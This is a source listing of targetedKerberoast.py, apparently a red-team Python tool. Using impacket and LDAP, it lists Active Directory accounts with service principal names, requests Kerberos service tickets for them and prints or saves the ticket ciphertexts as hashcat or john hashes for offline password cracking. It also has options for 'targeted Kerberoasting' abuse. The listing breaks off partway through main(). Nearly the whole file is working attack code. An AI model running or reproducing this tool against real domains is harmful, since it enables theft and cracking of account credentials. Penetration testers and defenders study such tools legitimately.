targetedKerberoast.py (33921B)
1 #!/usr/bin/env python3 2 # -*- coding: utf-8 -*- 3 # File name : targetedKerberoast.py 4 # Author : Shutdown (@_nwodtuhs) 5 # Date created : 2 Aug 2021 6 7 import argparse, sys 8 import os 9 import ssl 10 import traceback 11 from binascii import hexlify, unhexlify 12 13 import ldap3 14 from pyasn1.codec.der import decoder 15 from impacket.krb5 import constants 16 from impacket.krb5.asn1 import TGS_REP 17 from impacket.krb5.types import Principal 18 from impacket.krb5.ccache import CCache 19 from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS 20 from impacket.spnego import SPNEGO_NegTokenInit, TypesMech 21 from impacket.smbconnection import SMBConnection 22 23 from rich.console import Console 24 25 26 def get_machine_name(dc_ip, domain): 27 if dc_ip is not None: 28 s = SMBConnection(dc_ip, dc_ip) 29 else: 30 s = SMBConnection(domain, domain) 31 try: 32 s.login('', '') 33 except Exception: 34 if s.getServerName() == '': 35 raise Exception('Error while anonymous logging into %s' % domain) 36 else: 37 s.logoff() 38 return s.getServerName() 39 40 41 def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aes_key='', kdcHost=None, 42 TGT=None, TGS=None, useCache=True): 43 from pyasn1.codec.ber import encoder, decoder 44 from pyasn1.type.univ import noValue 45 """ 46 logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. 47 :param string user: username 48 :param string password: password for the user 49 :param string domain: domain where the account is valid for (required) 50 :param string lmhash: LMHASH used to authenticate using hashes (password is not used) 51 :param string nthash: NTHASH used to authenticate using hashes (password is not used) 52 :param string aes_key: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication 53 :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) 54 :param struct TGT: If there's a TGT available, send the structure here and it will be used 55 :param struct TGS: same for TGS. See smb3.py for the format 56 :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False 57 :return: True, raises an Exception if error. 58 """ 59 60 if lmhash != '' or nthash != '': 61 if len(lmhash) % 2: 62 lmhash = '0' + lmhash 63 if len(nthash) % 2: 64 nthash = '0' + nthash 65 try: # just in case they were converted already 66 lmhash = unhexlify(lmhash) 67 nthash = unhexlify(nthash) 68 except TypeError: 69 pass 70 71 if user is None: 72 user = "" 73 74 # Importing down here so pyasn1 is not required if kerberos is not used. 75 from impacket.krb5.ccache import CCache 76 from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set 77 from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS 78 from impacket.krb5 import constants 79 from impacket.krb5.types import Principal, KerberosTime, Ticket 80 import datetime 81 82 if TGT is not None or TGS is not None or aes_key is not None: 83 useCache = False 84 85 if useCache: 86 try: 87 ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) 88 except Exception as e: 89 pass 90 else: 91 # retrieve domain information from CCache file if needed 92 if domain == '': 93 domain = ccache.principal.realm['data'].decode('utf-8') 94 logger.debug('Domain retrieved from CCache: %s' % domain) 95 96 logger.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME')) 97 principal = 'ldap/%s@%s' % (target.upper(), domain.upper()) 98 99 creds = ccache.getCredential(principal) 100 if creds is None: 101 # Let's try for the TGT and go from there 102 principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) 103 creds = ccache.getCredential(principal) 104 if creds is not None: 105 TGT = creds.toTGT() 106 logger.debug('Using TGT from cache') 107 else: 108 logger.debug('No valid credentials found in cache') 109 else: 110 TGS = creds.toTGS(principal) 111 logger.debug('Using TGS from cache') 112 113 # retrieve user information from CCache file if needed 114 if user == '' and creds is not None: 115 user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8') 116 logger.debug('Username retrieved from CCache: %s' % user) 117 elif user == '' and len(ccache.principal.components) > 0: 118 user = ccache.principal.components[0]['data'].decode('utf-8') 119 logger.debug('Username retrieved from CCache: %s' % user) 120 121 # First of all, we need to get a TGT for the user 122 userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 123 if TGT is None: 124 if TGS is None: 125 tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, 126 aes_key, kdcHost) 127 else: 128 tgt = TGT['KDC_REP'] 129 cipher = TGT['cipher'] 130 sessionKey = TGT['sessionKey'] 131 132 if TGS is None: 133 serverName = Principal('ldap/%s' % target, type=constants.PrincipalNameType.NT_SRV_INST.value) 134 tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, 135 sessionKey) 136 else: 137 tgs = TGS['KDC_REP'] 138 cipher = TGS['cipher'] 139 sessionKey = TGS['sessionKey'] 140 141 # Let's build a NegTokenInit with a Kerberos REQ_AP 142 143 blob = SPNEGO_NegTokenInit() 144 145 # Kerberos 146 blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] 147 148 # Let's extract the ticket from the TGS 149 tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] 150 ticket = Ticket() 151 ticket.from_asn1(tgs['ticket']) 152 153 # Now let's build the AP_REQ 154 apReq = AP_REQ() 155 apReq['pvno'] = 5 156 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) 157 158 opts = [] 159 apReq['ap-options'] = constants.encodeFlags(opts) 160 seq_set(apReq, 'ticket', ticket.to_asn1) 161 162 authenticator = Authenticator() 163 authenticator['authenticator-vno'] = 5 164 authenticator['crealm'] = domain 165 seq_set(authenticator, 'cname', userName.components_to_asn1) 166 now = datetime.datetime.now(datetime.timezone.utc) 167 168 authenticator['cusec'] = now.microsecond 169 authenticator['ctime'] = KerberosTime.to_asn1(now) 170 171 encodedAuthenticator = encoder.encode(authenticator) 172 173 # Key Usage 11 174 # AP-REQ Authenticator (includes application authenticator 175 # subkey), encrypted with the application session key 176 # (Section 5.5.1) 177 encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) 178 179 apReq['authenticator'] = noValue 180 apReq['authenticator']['etype'] = cipher.enctype 181 apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator 182 183 blob['MechToken'] = encoder.encode(apReq) 184 185 request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', 186 blob.getData()) 187 188 # Done with the Kerberos saga, now let's get into LDAP 189 if connection.closed: # try to open connection if closed 190 connection.open(read_server_info=False) 191 192 connection.sasl_in_progress = True 193 response = connection.post_send_single_response(connection.send('bindRequest', request, None)) 194 connection.sasl_in_progress = False 195 if response[0]['result'] != 0: 196 raise Exception(response) 197 198 connection.bound = True 199 200 return True 201 202 203 204 205 def init_ldap_connection(target, tls_version, use_kerberos, domain, username, password, lmhash="", nthash=""): 206 user = '%s\\%s' % (domain, username) 207 connect_to = target 208 if args.dc_ip is not None: 209 connect_to = args.dc_ip 210 if tls_version is not None: 211 use_ssl = True 212 port = 636 213 tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) 214 else: 215 use_ssl = False 216 port = 389 217 tls = None 218 ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) 219 if use_kerberos: 220 ldap_session = ldap3.Connection(ldap_server) 221 ldap_session.bind() 222 ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.auth_aes_key, kdcHost=args.dc_ip) 223 elif lmhash != "" and nthash != "": 224 ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) 225 else: 226 ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) 227 228 return ldap_server, ldap_session 229 230 231 def init_ldap_session(use_kerberos, use_ldaps, dc_ip, domain, username, password, lmhash, nthash): 232 if use_kerberos and not args.dc_host: 233 target = get_machine_name(dc_ip, domain) 234 else: 235 if use_kerberos: 236 target = args.dc_host 237 else: 238 if dc_ip is not None: 239 target = args.dc_ip 240 else: 241 target = domain 242 243 if use_ldaps is True: 244 try: 245 return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, use_kerberos, domain, username, password, lmhash, nthash) 246 except ldap3.core.exceptions.LDAPSocketOpenError: 247 return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, use_kerberos, domain, username, password, lmhash, nthash) 248 else: 249 return init_ldap_connection(target, None, use_kerberos, domain, username, password, lmhash, nthash) 250 251 252 def get_users_and_SPNs(ldap_session, domain, usernames=None): 253 if domain is None or "." not in domain: 254 logger.error("FQDN Domain is needed to fetch domain information from LDAP") 255 exit(0) 256 else: 257 domain_dn = ",".join(["DC=" + part for part in domain.split(".")]) 258 259 # Building the search filter 260 filter_person = "objectCategory=person" 261 filter_not_disabled = "!(userAccountControl:1.2.840.113556.1.4.803:=2)" 262 263 search_filters = "(&" 264 search_filters += "(" + filter_person + ")" 265 search_filters += "(" + filter_not_disabled + ")" 266 if usernames is not None: 267 search_filters += '(|' + ''.join(["(sAMAccountName:=%s)" % u for u in usernames]) + ')' 268 search_filters += ')' 269 270 # we want username and attempts left for each account 271 attributes = ["samAccountName", "servicePrincipalName", "distinguishedName"] 272 273 try: 274 ldap_session.search(search_base=domain_dn, search_filter=search_filters, attributes=attributes, size_limit=100000) 275 except Exception as e: 276 if 'sizeLimitExceeded' in e: 277 logger.debug('sizeLimitExceeded exception caught, giving up and processing the data received') 278 # We reached the sizeLimit, process the answers we have already and that's it. Until we implement paged queries 279 pass 280 else: 281 raise 282 283 users = {} 284 for item in ldap_session.response: 285 if "attributes" in item.keys(): 286 if "sAMAccountName" in item["attributes"].keys(): 287 sAMAccountName = item["attributes"]["sAMAccountName"] 288 # following check is because tests have shown that with a Kerberos auth, results are sent in a list while str with NTLM auth (wtf?) 289 if type(sAMAccountName) == list: 290 sAMAccountName = sAMAccountName[0] 291 users[sAMAccountName] = {} 292 if "distinguishedName" in item["attributes"].keys(): 293 distinguishedName = item["attributes"]["distinguishedName"] 294 users[sAMAccountName]["dn"] = distinguishedName 295 if "servicePrincipalName" in item["attributes"].keys(): 296 users[sAMAccountName]["spns"] = item["attributes"]["servicePrincipalName"] 297 return users 298 299 300 def obtain_krb_hash(TGT, sAMAccountName, target_domain, kdc_host): 301 downLevelLogonName = target_domain + "\\" + sAMAccountName 302 try: 303 principalName = Principal() 304 principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value 305 principalName.components = [downLevelLogonName] 306 tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, target_domain, kdc_host, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) 307 # self.outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.__targetDomain + "/" + sAMAccountName, fd) 308 spn = '%s/%s' % (target_domain, sAMAccountName) 309 decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] 310 entry = None 311 if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: 312 entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( 313 constants.EncryptionTypes.rc4_hmac.value, sAMAccountName, decodedTGS['ticket']['realm'], spn.replace(':', '~'), 314 hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), 315 hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) 316 elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: 317 entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( 318 constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, sAMAccountName, decodedTGS['ticket']['realm'], spn.replace(':', '~'), 319 hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), 320 hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode) 321 elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: 322 entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( 323 constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, sAMAccountName, decodedTGS['ticket']['realm'], spn.replace(':', '~'), 324 hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), 325 hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) 326 elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: 327 entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( 328 constants.EncryptionTypes.des_cbc_md5.value, sAMAccountName, decodedTGS['ticket']['realm'], spn.replace(':', '~'), 329 hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), 330 hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) 331 else: 332 logger.error('Skipping %s/%s due to incompatible e-type %d' % ( 333 decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], 334 decodedTGS['ticket']['enc-part']['etype'])) 335 return entry 336 except Exception as e: 337 if args.verbosity >= 1: 338 traceback.print_exc() 339 logger.debug("Exception: %s" % e) 340 logger.error('Principal: %s - %s' % (downLevelLogonName, str(e))) 341 342 def handle_result(filename, result, user): 343 if result is not None: 344 # Prepend the username for better output with john 345 if args.output_format == 'john': 346 result = user + ':' + result 347 if filename is not None and filename != '': 348 if len(os.path.dirname(filename)) != 0: 349 if not os.path.exists(os.path.dirname(filename)): 350 os.makedirs(os.path.dirname(filename), exist_ok=True) 351 if not os.path.exists(filename): 352 open(filename, "w").close() 353 with open(filename, 'a') as f: 354 logger.success("Writing hash to file for (%s)" % user) 355 f.write(result.strip() + "\n") 356 else: 357 logger.success("Printing hash for (%s)" % user) 358 print(result) 359 360 361 class Logger(object): 362 def __init__(self, verbosity=0, quiet=False): 363 self.verbosity = verbosity 364 self.quiet = quiet 365 if verbosity == 3: 366 print("(╯°□°)╯︵ ┻━┻ WHAT HAVE YOU DONE !? (╯°□°)╯︵ ┻━┻") 367 exit(0) 368 elif verbosity == 4: 369 art = """⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 370 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 371 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 372 ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠋⠉⡉⣉⡛⣛⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ 373 ⣿⣿⣿⣿⣿⣿⣿⡿⠋⠁⠄⠄⠄⠄⠄⢀⣸⣿⣿⡿⠿⡯⢙⠿⣿⣿⣿⣿⣿⣿ 374 ⣿⣿⣿⣿⣿⣿⡿⠄⠄⠄⠄⠄⡀⡀⠄⢀⣀⣉⣉⣉⠁⠐⣶⣶⣿⣿⣿⣿⣿⣿ 375 ⣿⣿⣿⣿⣿⣿⡇⠄⠄⠄⠄⠁⣿⣿⣀⠈⠿⢟⡛⠛⣿⠛⠛⣿⣿⣿⣿⣿⣿⣿ 376 ⣿⣿⣿⣿⣿⣿⡆⠄⠄⠄⠄⠄⠈⠁⠰⣄⣴⡬⢵⣴⣿⣤⣽⣿⣿⣿⣿⣿⣿⣿ 377 ⣿⣿⣿⣿⣿⣿⡇⠄⢀⢄⡀⠄⠄⠄⠄⡉⠻⣿⡿⠁⠘⠛⡿⣿⣿⣿⣿⣿⣿⣿ 378 ⣿⣿⣿⣿⣿⡿⠃⠄⠄⠈⠻⠄⠄⠄⠄⢘⣧⣀⠾⠿⠶⠦⢳⣿⣿⣿⣿⣿⣿⣿ 379 ⣿⣿⣿⣿⣿⣶⣤⡀⢀⡀⠄⠄⠄⠄⠄⠄⠻⢣⣶⡒⠶⢤⢾⣿⣿⣿⣿⣿⣿⣿ 380 ⣿⣿⣿⣿⡿⠟⠋⠄⢘⣿⣦⡀⠄⠄⠄⠄⠄⠉⠛⠻⠻⠺⣼⣿⠟⠋⠛⠿⣿⣿ 381 ⠋⠉⠁⠄⠄⠄⠄⠄⠄⢻⣿⣿⣶⣄⡀⠄⠄⠄⠄⢀⣤⣾⣿⣿⡀⠄⠄⠄⠄⢹ 382 ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢻⣿⣿⣿⣷⡤⠄⠰⡆⠄⠄⠈⠉⠛⠿⢦⣀⡀⡀⠄ 383 ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢿⣿⠟⡋⠄⠄⠄⢣⠄⠄⠄⠄⠄⠄⠄⠈⠹⣿⣀ 384 ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠘⣷⣿⣿⣷⠄⠄⢺⣇⠄⠄⠄⠄⠄⠄⠄⠄⠸⣿ 385 ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠹⣿⣿⡇⠄⠄⠸⣿⡄⠄⠈⠁⠄⠄⠄⠄⠄⣿ 386 ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢻⣿⡇⠄⠄⠄⢹⣧⠄⠄⠄⠄⠄⠄⠄⠄⠘⠀⠀⠀⠀⠀⠀ 387 388 ⠀The best tools in the history of tools. Ever. 389 """ 390 print(art) 391 exit(0) 392 elif verbosity == 5: 393 art = """ 394 395 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢤⣶⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 396 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⡾⠿⢿⡀⠀⠀⠀⠀⣠⣶⣿⣷⠀⠀⠀⠀ 397 ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣦⣴⣿⡋⠀⠀⠈⢳⡄⠀⢠⣾⣿⠁⠈⣿⡆⠀⠀⠀ 398 ⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⠿⠛⠉⠉⠁⠀⠀⠀⠹⡄⣿⣿⣿⠀⠀⢹⡇⠀⠀⠀ 399 ⠀⠀⠀⠀⠀⣠⣾⡿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⣰⣏⢻⣿⣿⡆⠀⠸⣿⠀⠀⠀ 400 ⠀⠀⠀⢀⣴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣆⠹⣿⣷⠀⢘⣿⠀⠀⠀ 401 ⠀⠀⢀⡾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⠋⠉⠛⠂⠹⠿⣲⣿⣿⣧⠀⠀ 402 ⠀⢠⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣿⣿⣿⣷⣾⣿⡇⢀⠀⣼⣿⣿⣿⣧⠀ 403 ⠰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⡘⢿⣿⣿⣿⠀ 404 ⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⣷⡈⠿⢿⣿⡆ 405 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠛⠁⢙⠛⣿⣿⣿⣿⡟⠀⡿⠀⠀⢀⣿⡇ 406 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣶⣤⣉⣛⠻⠇⢠⣿⣾⣿⡄⢻⡇ 407 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣦⣤⣾⣿⣿⣿⣿⣆⠁ 408 409 ⠀ 🈵⠀STOP INCREASING VERBOSITY (PUNK!) 🈵⠀ 410 """ 411 print(art) 412 exit(0) 413 414 elif verbosity == 6: 415 art = """ 416 ⣿⣿⣿⣿⣿⣿⠟⠋⠁⣀⣤⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿ 417 ⣿⣿⣿⣿⠋⠁⠀⠀⠺⠿⢿⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠻⣿ 418 ⣿⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣤⠀⠀⠀⠀⠀⣤⣦⣄⠀⠀ 419 ⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⠏⣿⣿⣿⣿⣿⣁⠀⠀⠀⠛⠙⠛⠋⠀⠀ 420 ⡿⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⣰⣿⣿⣿⣿⡄⠘⣿⣿⣿⣿⣷⠄⠀⠀⠀⠀⠀⠀⠀⠀ 421 ⡇⠀⠀⠀⠀⠀⠀⠀⠸⠇⣼⣿⣿⣿⣿⣿⣷⣄⠘⢿⣿⣿⣿⣅⠀⠀⠀⠀⠀⠀⠀⠀ 422 ⠁⠀⠀⠀⣴⣿⠀⣐⣣⣸⣿⣿⣿⣿⣿⠟⠛⠛⠀⠌⠻⣿⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀ 423 ⠀⠀⠀⣶⣮⣽⣰⣿⡿⢿⣿⣿⣿⣿⣿⡀⢿⣤⠄⢠⣄⢹⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀ 424 ⠀⠀⠀⣿⣿⣿⣿⣿⡘⣿⣿⣿⣿⣿⣿⠿⣶⣶⣾⣿⣿⡆⢻⣿⣿⠃⢠⠖⠛⣛⣷⠀ 425 ⠀⠀⢸⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣮⣝⡻⠿⠿⢃⣄⣭⡟⢀⡎⣰⡶⣪⣿⠀ 426 ⠀⠀⠘⣿⣿⣿⠟⣛⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⡿⢁⣾⣿⢿⣿⣿⠏⠀ 427 ⠀⠀⠀⣻⣿⡟⠘⠿⠿⠎⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣵⣿⣿⠧⣷⠟⠁⠀⠀ 428 ⡇⠀⠀⢹⣿⡧⠀⡀⠀⣀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⢰⣿⠀⠀⠀⠀ 429 ⡇⠀⠀⠀⢻⢰⣿⣶⣿⡿⠿⢂⣿⣿⣿⣿⣿⣿⣿⢿⣻⣿⣿⣿⡏⠀⠀⠁⠀⠀⠀⠀ 430 ⣷⠀⠀⠀⠀⠈⠿⠟⣁⣴⣾⣿⣿⠿⠿⣛⣋⣥⣶⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀ 431 432 yamete kudasai !!! 433 """ 434 print(art) 435 exit(0) 436 elif verbosity > 6: 437 print("Sorry bruh, no more easter eggs") 438 exit(0) 439 440 def debug(self, message): 441 if self.verbosity == 2: 442 console.print("{}[DEBUG]{} {}".format("[yellow3]", "[/yellow3]", message), highlight=False) 443 444 def verbose(self, message): 445 if self.verbosity >= 1: 446 console.print("{}[VERBOSE]{} {}".format("[blue]", "[/blue]", message), highlight=False) 447 448 def info(self, message): 449 if not self.quiet: 450 console.print("{}[*]{} {}".format("[bold blue]", "[/bold blue]", message), highlight=False) 451 452 def success(self, message): 453 if not self.quiet: 454 console.print("{}[+]{} {}".format("[bold green]", "[/bold green]", message), highlight=False) 455 456 def warning(self, message): 457 if not self.quiet: 458 console.print("{}[-]{} {}".format("[bold orange3]", "[/bold orange3]", message), highlight=False) 459 460 def error(self, message): 461 if not self.quiet: 462 console.print("{}[!]{} {}".format("[bold red]", "[/bold red]", message), highlight=False) 463 464 465 def parse_args(): 466 parser = argparse.ArgumentParser(description = "Queries target domain for SPNs that are running under a user account and operate targeted Kerberoasting") 467 parser.add_argument("-v", "--verbose", dest="verbosity", action="count", default=0, help="verbosity level (-v for verbose, -vv for debug)") 468 parser.add_argument("-q", "--quiet", dest="quiet", action="store_true", default=False, help="show no information at all") 469 parser.add_argument('-D', '--target-domain', action='store', help='Domain to query/request if different than the domain of the user. Allows for Kerberoasting across trusts.') 470 parser.add_argument('-U', '--users-file', help='File with user per line to test') 471 parser.add_argument('--request-user', action='store', metavar='username', help='Requests TGS for the SPN associated to the user specified (just the username, no domain needed)') 472 parser.add_argument('-o', '--output-file', action='store', help='Output filename to write ciphers in JtR/hashcat format') 473 parser.add_argument('-f', '--output-format', action='store', choices=['hashcat', 'john'], default='hashcat', help='Output format (default is "hashcat", "john" prepends usernames)') 474 parser.add_argument('--use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') 475 parser.add_argument('--only-abuse', action='store_true', help='Ignore accounts that already have an SPN and focus on targeted Kerberoasting') 476 parser.add_argument('--no-abuse', action='store_true', help="Don't attempt targeted Kerberoasting") 477 parser.add_argument('--dc-host', action='store', help='Hostname of the target, can be used if port 445 is blocked or if NTLM is disabled') 478 479 480 authconn = parser.add_argument_group('authentication & connection') 481 authconn.add_argument('--dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') 482 authconn.add_argument("-d", "--domain", dest="auth_domain", metavar="DOMAIN", action="store", help="(FQDN) domain to authenticate to") 483 authconn.add_argument("-u", "--user", dest="auth_username", metavar="USER", action="store", help="user to authenticate with") 484 485 secret = parser.add_argument_group('secrets') 486 secret.add_argument("-k", "--kerberos", dest="use_kerberos", action="store_true", help='Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') 487 cred = secret.add_mutually_exclusive_group() 488 cred.add_argument('--no-pass', action="store_true", help="don't ask for password (useful for -k)") 489 cred.add_argument("-p", "--password", dest="auth_password", metavar="PASSWORD", action="store", help="password to authenticate with") 490 cred.add_argument("-H", "--hashes", dest="auth_hashes", action="store", metavar="[LMHASH:]NTHASH", help='NT/LM hashes, format is LMhash:NThash') 491 cred.add_argument('--aes-key', dest="auth_aes_key", action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') 492 493 args = parser.parse_args() 494 495 if args.no_abuse and args.only_abuse: 496 parser.error("can't set --no-abuse and --only-abuse, it's counterintuitive") 497 498 if args.use_kerberos == False and args.auth_aes_key is None and args.auth_hashes is None and args.auth_password is None and args.auth_username is None: 499 parser.error("need to set credentials") 500 501 if len(sys.argv) == 1: 502 parser.print_help() 503 sys.exit(1) 504 505 return args 506 507 def main(): 508 try: 509 logger.info("Starting kerberoast attacks") 510 auth_lm_hash = "" 511 auth_nt_hash = "" 512 if args.auth_hashes is not None: 513 if ":" in args.auth_hashes: 514 auth_lm_hash = args.auth_hashes.split(":")[0] 515 auth_nt_hash = args.auth_hashes.split(":")[1] 516 else: 517 auth_nt_hash = args.auth_hashes 518 if auth_nt_hash == "": 519 auth_nt_hash = "31d6cfe0d16ae931b73c59d7e0c089c0" 520 if auth_lm_hash == "": 521 auth_lm_hash = "aad3b435b51404eeaad3b435b51404ee" 522 523 use_kerb = args.use_kerberos 524 if args.auth_aes_key is not None: 525 use_kerb = True 526 527 ldap_server, ldap_session = init_ldap_session(dc_ip=args.dc_ip, use_kerberos=use_kerb, use_ldaps=args.use_ldaps, domain=args.auth_domain, username=args.auth_username, password=args.auth_password, lmhash=auth_lm_hash, nthash=auth_nt_hash) 528 users = {} 529 if args.request_user is not None: 530 logger.info("Attacking user (%s)" % args.request_user) 531 users = get_users_and_SPNs(ldap_session=ldap_session, domain=args.auth_domain, usernames=[args.request_user]) 532 elif args.users_file is not None: 533 logger.info("Fetching usernames from file") 534 if os.path.exists(args.users_file): 535 with open(args.users_file, "r") as f: 536 users = get_users_and_SPNs(ldap_session=ldap_session, domain=args.auth_domain, usernames= [line.strip() for line in f]) 537 else: 538 logger.info("Fetching usernames from Active Directory with LDAP") 539 users = get_users_and_SPNs(ldap_session=ldap_session, domain=args.auth_domain) 540 541 logger.debug(users) 542 543 # First of all, we need to get a TGT for the user 544 userName = Principal(args.auth_username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 545 if args.use_kerberos and not args.dc_host: 546 target = get_machine_name(args.dc_ip, args.auth_domain) 547 else: 548 if args.use_kerberos: 549 target = args.dc_host 550 else: 551 if args.dc_ip is not None: 552 target = args.dc_ip 553 else: 554 target = args.auth_domain 555 556 TGT = TGS = None 557 if args.use_kerberos and args.auth_aes_key is None: 558 try: 559 ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) 560 except Exception as e: 561 pass 562 else: 563 # retrieve domain information from CCache file if needed 564 if args.auth_domain == '': 565 domain = ccache.principal.realm['data'].decode('utf-8') 566 logger.debug('Domain retrieved from CCache: %s' % domain) 567 else: 568 domain = args.auth_domain 569 570 logger.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME')) 571 principal = 'ldap/%s@%s' % (target.upper(), domain.upper()) 572 573 creds = ccache.getCredential(principal) 574 if creds is None: 575 # Let's try for the TGT and go from there 576 principal = 'krbtgt/%s@%s' 